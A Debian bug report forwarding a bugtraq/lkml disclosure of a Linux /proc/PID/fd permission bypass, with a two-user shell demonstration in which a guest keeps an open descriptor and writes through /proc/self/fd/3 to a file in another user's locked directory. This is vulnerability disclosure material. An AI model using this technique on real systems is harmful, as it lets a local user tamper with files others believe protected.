Bug#552255: linux-image-2.6.26-2-686: /proc permission bypass
Package: linux-image-2.6.26-2-686
Version: 2.6.26-17
Severity: important
Currently discussed on bugtraq
Cut-n-pasting the email
Hi!
This is forward from lkml, so no, I did not invent this
hole. Unfortunately, I do not think lkml sees this as a security hole,
so...
Jamie Lokier said:
> > > a) the current permission model under /proc/PID/fd has a security
> > > hole (which Jamie is worried about)
> >
> > I believe its bugtraq time. Being able to reopen file with additional
> > permissions looks like a security problem...
> >
> > Jamie, do you have some test script? And do you want your 15 minutes
> > of bugtraq fame? ;-).
> The reopen does check the inode permission, but it does not require
> you have any reachable path to the file. Someone _might_ use that as
> a traditional unix security mechanism, but if so it's probably quite rare.
Ok, I got this, with two users. I guess it is real (but obscure)
security hole.
So, we have this scenario. pavel/root is not doing anything interesting in
the background.
pavel@toy:/tmp$ uname -a
Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux
pavel@toy:/tmp mkdir my_priv; cd my_priv
pavel@toy:/tmp/my_priv$ echo this file should never be writable > unwritable_file
# lock down directory
pavel@toy:/tmp/my_priv$ chmod 700 .
# relax file permissions, directory is private, so this is safe
# check link count on unwritable_file. We would not want someone
# to have a hard link to work around our permissions, would we?
pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file
pavel@toy:/tmp/my_priv$ cat unwritable_file
this file should never be writable
pavel@toy:/tmp/my_priv$ cat unwritable_file
got you
# Security problem here
[Please pause here for a while before reading how guest did it.]
Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.
So what did happen? User guest was able to work around directory
permissions in the background, using /proc filesystem.
guest@toy:~$ bash 3< /tmp/my_priv/unwritable_file
# Running inside nested shell
guest@toy:~$ read A <&3
guest@toy:~$ echo $A
this file should never be writable
guest@toy:~$ cd /tmp/my_priv
guest@toy:/tmp/my_priv$ ls
unwritable_file
# pavel did chmod 000, chmod 666 here
guest@toy:/tmp/my_priv$ ls
ls: cannot open directory .: Permission denied
# Linux correctly prevents guest from writing to that file
guest@toy:/tmp/my_priv$ cat unwritable_file
cat: unwritable_file: Permission denied
guest@toy:/tmp/my_priv$ echo got you >&3
bash: echo: write error: Bad file descriptor
# ...until we take a way around it with /proc filesystem. Oops.
guest@toy:/tmp/my_priv$ echo got you > /proc/self/fd/3
-- Package-specific info:
-- System Information:
Debian Release: 5.0.2
APT prefers stable
APT policy: (500, 'stable')
Architecture: i386 (i686)
Kernel: Linux 2.6.26 (SMP w/1 CPU core; PREEMPT)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Versions of packages linux-image-2.6.26-2-686 depends on:
ii debconf [debconf-2.0] 1.5.24 Debian configuration management sy
ii initramfs-tools [linux-initra 0.92o tools for generating an initramfs
ii module-init-tools 3.4-1 tools for managing Linux kernel mo
Versions of packages linux-image-2.6.26-2-686 recommends:
ii libc6-i686 2.7-18 GNU C Library: Shared libraries [i
Versions of packages linux-image-2.6.26-2-686 suggests:
ii grub 0.97-47lenny2 GRand Unified Bootloader (Legacy v
ii lilo 1:22.8-7 LInux LOader - The Classic OS load
pn linux-doc-2.6.26 <none> (no description available)
-- debconf-show failed
Reply to: